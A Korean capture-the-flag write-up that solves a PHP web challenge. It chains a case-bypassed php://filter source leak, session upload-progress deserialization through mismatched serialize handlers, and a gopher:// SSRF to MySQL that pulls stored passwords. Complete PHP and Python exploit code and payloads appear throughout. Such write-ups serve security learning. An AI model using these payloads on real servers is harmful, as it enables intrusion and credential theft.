19Cyberoc – Secret Service(Hidden Service) Write up

2019 화햇 문제다.

1. PHP 소스를 얻어보자 (PHP 소스 릭)

먼저 제공해주는 index.php를 쭉쭉 읽다보면 file inclusion 취약점을 발견할 수 있다.

SimpleRouter::post("/intra/view", function() {
    $service = input("service", false, "post");
    if($service === false)
        return "No such service";

    chdir("intra");
    $service = str_replace("_", "/", $service);
    if(strpos($service, '/') === 0 || preg_match("/^.*(\\.\\.|php).*$/", $service))
        return "Don't cheat!";

    include $service.".php";
    chdir("..");
}); 

위 코드를 보면 /^.*(\\.\\.|php).*$/ 이렇게 정규식으로 사용자 입력을 검사하고 있는데
정규식 필터링이 미흡하므로 php://대신 pHp://PHP:// 같이 대문자를 섞어서 우회하면 된다.

service=PHP://filter/convert.base64-encode/resource=index

이렇게 php wrapper를 이용해서 index.php, config.php, helper.php, dbconn.php
서버에 존재하는 대부분의 PHP 소스를 얻을 수 있었다.

2. 취약점 찾아 삼만리 (취약점 체이닝)

소스를 얻었으니 각 소스파일을 읽어보며 취약점을 찾아보자.

1. dbconn.php에는 DB연결 정보가 담겨있었고 mysqli_connect 함수의 패스워드 인자가 비어있었다.
여기서 추측할 수 있는건, 해당 유저의 패스워드가 없다면 SSRF로 MySQL에 직접 raw패킷을 날릴 수 있다는 것이다.

2. config.php에는 ReportModule, LogModule 이렇게 2개의 클래스가 정의되어 있었는데
ReportModule 클래스의 send_real 메소드에서 SSRF가 가능해보였다.

class ReportModule {
    /* 위 아래 코드 생략 */
    public function send_report() {
        return $this->send_real();
    }
    private function send_real() {
        $target_host = parse_url($this->target, PHP_URL_HOST);
        if($target_host !== "localhost")
            return "Report can only be sent to localhost";

        $curl= curl_init();
        curl_setopt($curl, CURLOPT_URL, $this->target);
        $res = curl_exec($curl);
        curl_close($curl);

        return $res;
    }
    /* 위 아래 코드 생략 */
}
class LogModule {
    /* 위 아래 코드 생략 */
    public function __destruct() {
        if($this->rpt_module == null || !method_exists($this->rpt_module, "send_report"))
            return;
        $log_string = "REPORT_LOG";
        $this->write_line($log_string." - ".$this->rpt_module->send_report());
    }
    /* 위 아래 코드 생략 */
}

3. 위 코드를 보면 LogModule 클래스가 소멸할 때 send_report를 호출하고 죽는걸 알 수 있다.
LogModule 소멸자의 첫 번째 분기문(Line 23~)을 보면 rpt_module에 ReportModule이 담겨있어야 통과가 가능하다.
하지만 눈씻고 찾아봐도 LogModule 클래스에서 rpt_module에 ReportModule을 담는 코드는 없었다.
(낚시로 rpt_module에 값을 초기화하는 set_rpt_module라는 메소드가 있었지만 해당 메소드를 호출하는 곳이 없음)
따라서 Deserialize 취약점을 통해 직접 호출해야하는 상황이었다.

4. unserialize함수에 사용자 입력을 받거나 여러 파일 관련 함수에서 phar:// 넣을만한 곳을 찾아보던 도중 config.php 상단에 있는 ini_set과, /info로 접속하면 보여주는 phpinfo 페이지의 옵션들을 살펴보니 세션에 원하는 데이터를 넣고 세션을 역직렬화하는 과정에서 Deserialize 공격이 가능해 보였다.

3. PHP의 session.upload_progress 옵션

PHP는 업로드 중인 개별 파일의 업로드 진행률을 추적할 수 있도록 session.upload_progress 옵션을 제공한다.
session.upload_progress.enabled, session.upload_progress.cleanup 이렇게 2개의 옵션은 기본 On으로 설정되어 있는데 session.upload_progress.enabledOn이면 session_start 없이 세션 파일을 생성할 수 있다. (업로드 진행률 추적을 위해 세션 사용) 단, session.upload_progress.cleanup 옵션이 On으로 활성화되어 있다면 진행률 추적에 쓰인 세션 파일은 자동으로 삭제된다. (자동으로 삭제되는 상황에서도 용량이 큰 파일을 올려서 삭제에 딜레이를 주는 방법이 있긴 함)

반대로 session.upload_progress.cleanup 옵션이 Off라면 session_start 없이 내가 원하는 값을 포함한 세션 파일을 생성하고 유지할 수 있다는 의미다.

session.upload_progress.enabled = On
session.upload_progress.cleanup = Off

문제 설정 또한 위와 같이 설정되어 있었으므로 아래 요청으로 세션에 원하는 데이터를 넣을 수 있었다.

------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="abcd"
Content-Type: text/plain

------WebKitFormBoundaryUmsB8xWbmldnarAQ--

 

4. PHP의 session.serialize_handler 옵션

PHP에서 session.serialize_handler 옵션은 세션의 핸들러를 지정해주는 옵션이다.
어떤 방식으로 직렬화, 역직렬화 할지 설정할 수 있으며 기본값은 php다. (그 외의 옵션들 : php_binary, php_serialize, wddx)

Local Value : session.serialize_handler = php
Master Value : session.serialize_handler = php_serialize

문제에서는 아래와 같이 Master Value를 php_serialize로 설정해놨고 페이지에서는 ini_set을 통해 php로 재설정했다.

ini_set('session.serialize_handler', 'php');

즉, 세션을 직렬화해서 파일에 담을 때와 읽어서 역직렬화 할 때 서로 다른 방식으로 진행할 수 있다는 것이다.

5. 로컬에서 테스트 + RCE가 가능한 이유

우선 로컬에서 아래와 같은 class를 하나 만들어준다.

class A {
    public $cmd;
    function __destruct() {
        eval($this->cmd);
    }
}

또한 세션 파일에 내가 원하는 데이터를 포함시킬 수 있도록 php.ini에서 다음과 같이 설정해준다.

session.upload_progress.enabled = On
session.upload_progress.cleanup = Off

위와 같이 설정되어 있을 때 아래 내용으로 POST 요청을 하면 세션 파일이 생성되는걸 볼 수 있다.

------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="|O:1:\\"A\\":1:{s:3:\\"cmd\\";s:10:\\"phpinfo();\\";}"
Content-Type: text/plain

------WebKitFormBoundaryUmsB8xWbmldnarAQ--

 

session.serialize_handler에 따른 세션 값 차이

Local Value, Master Value 둘다php일 때

upload_progress_abc|a:5:{s:10:"start_time";i:1568682523;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";s:8:"tmp_name";s:14:"/tmp/phpHEOzEC";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1568682523;s:15:"bytes_processed";i:5;}}}

Local Value, Master Value 둘다 php_serialize일 때

a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568682633;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";s:8:"tmp_name";s:14:"/tmp/phpz5NId3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1568682633;s:15:"bytes_processed";i:5;}}}}

우선 위 세션 데이터 모두 session_start를 호출해도 phpinfo가 실행되진 않는다.
다만 php_serialize일 때 직렬화된 값에서 ini_setsession.serialize_handlerphp로 변경해주고 session_start를 호출하면 정상적으로 phpinfo가 실행되면서 세션 데이터는 아래와 같이 바뀌는 것을 볼 수 있다.

a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568682633;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}
<?php
ini_set('session.serialize_handler', 'php');

class A {
    public $cmd;
    function __destruct() {
        eval($this->cmd);
    }
}

session_start();

이유는 php 옵션은 | 파이프 문자로 세션 명과 세션 데이터를 구분하고 (a|i:1234;)
php_serialize 옵션은 세션 명과 세션 데이터를 array로 구분하기 때문이다. (a:1:{s:1:"a";i:1234;})

a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568683023;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}

위와 같이 php_serialize 방식으로 직렬화된 세션 데이터를 php 방식으로 역직렬화한다면

array(1) {
  ["a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568683023;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:""]=>
  object(__PHP_Incomplete_Class)#1 (2) {
    ["__PHP_Incomplete_Class_Name"]=>
    string(1) "A"
    ["cmd"]=>
    string(10) "phpinfo();"
  }
}

이렇게 | 가 나오기 전까지는 세션명으로 인식하고 그 후는 세션 데이터로 인식하면서 성공적으로 Deserialize 공격을 수행할 수 있다. 정리하자면 세션을 쓰고 읽는 과정에서 직렬화, 역직렬화 방식이 각각 달라 발생하는 취약점이다. 내가 막 복잡하게 설명했어도 별거 아니다.

6. Exploit

<?php
error_reporting(0);
# made by munsiwoo

class ReportModule { public $target; }
class LogModule { public $filename, $rpt_module; }

$rpt_module = new ReportModule();
$rpt_module->target = 'gopher://localhost:3306/_%a7%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%6e%74%72%61%5f%6d%61%6e%61%67%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%35%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%76%61%6c%75%65%29%20%66%72%6f%6d%20%69%6e%74%72%61%5f%64%61%74%61%2e%70%61%73%73%77%6f%72%64%3b%01%00%00%00%01';

$log_module = new LogModule();
$log_module->filename = 'log/munsiwoo123';
$log_module->rpt_module = $rpt_module;

echo '|'.str_replace('"', '\\\\"', serialize($log_module));

gopher://localhost:3306/_뒤에 붙는 데이터는 MySQL 쿼리를 직접 요청할 수 있는 Raw data다. 위에서는 select group_concat(value) from intra_data.password; 를 요청하도록 생성했다.

PHP를 실행해서 나온 직렬화된 데이터를 filename에 담아서 세션 데이터에 포함시켜 세션을 생성한다.

import requests as req
# made by munsiwoo

contents = """------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="|O:9:\\"LogModule\\":2:{s:8:\\"filename\\";s:15:\\"log/munsiwoo123\\";s:10:\\"rpt_module\\";O:12:\\"ReportModule\\":1:{s:6:\\"target\\";s:724:\\"gopher://localhost:3306/_%a7%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%6e%74%72%61%5f%6d%61%6e%61%67%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%35%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%76%61%6c%75%65%29%20%66%72%6f%6d%20%69%6e%74%72%61%5f%64%61%74%61%2e%70%61%73%73%77%6f%72%64%3b%01%00%00%00%01\\";}}"
Content-Type: text/plain

------WebKitFormBoundaryUmsB8xWbmldnarAQ--"""

if __name__ == '__main__' :
    url = "http://13.209.230.31/admin"

    headers = {
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUmsB8xWbmldnarAQ",
        "Cookie": "PHPSESSID=munsiwoo"
    }

    req.post(url, headers=headers, data=contents)
    result = req.get(url, headers=headers).text

    print(result, flush=True)

get_flag

마무리

열심히 풀었던 문제라 이렇게 정리해봤습니다.
읽다가 궁금한 점이 있다면 댓글이나 이메일로 보내주시면 성심성의껏 답변해드리겠습니다.
읽어주셔서 감사합니다.

참고한 자료들 (Reference)

https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
http://wonderkun.cc/index.html/?p=718
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://gist.github.com/chtg/f74965bfea764d9c9698
https://www.zzfly.net/ctf-serialize/
https://bugs.php.net/bug.php?id=71101
https://bugs.php.net/bug.php?id=72681
https://www.php.net/manual/en/session.upload-progress.php
https://www.php.net/manual/en/session.configuration.php#ini.session.serialize-handler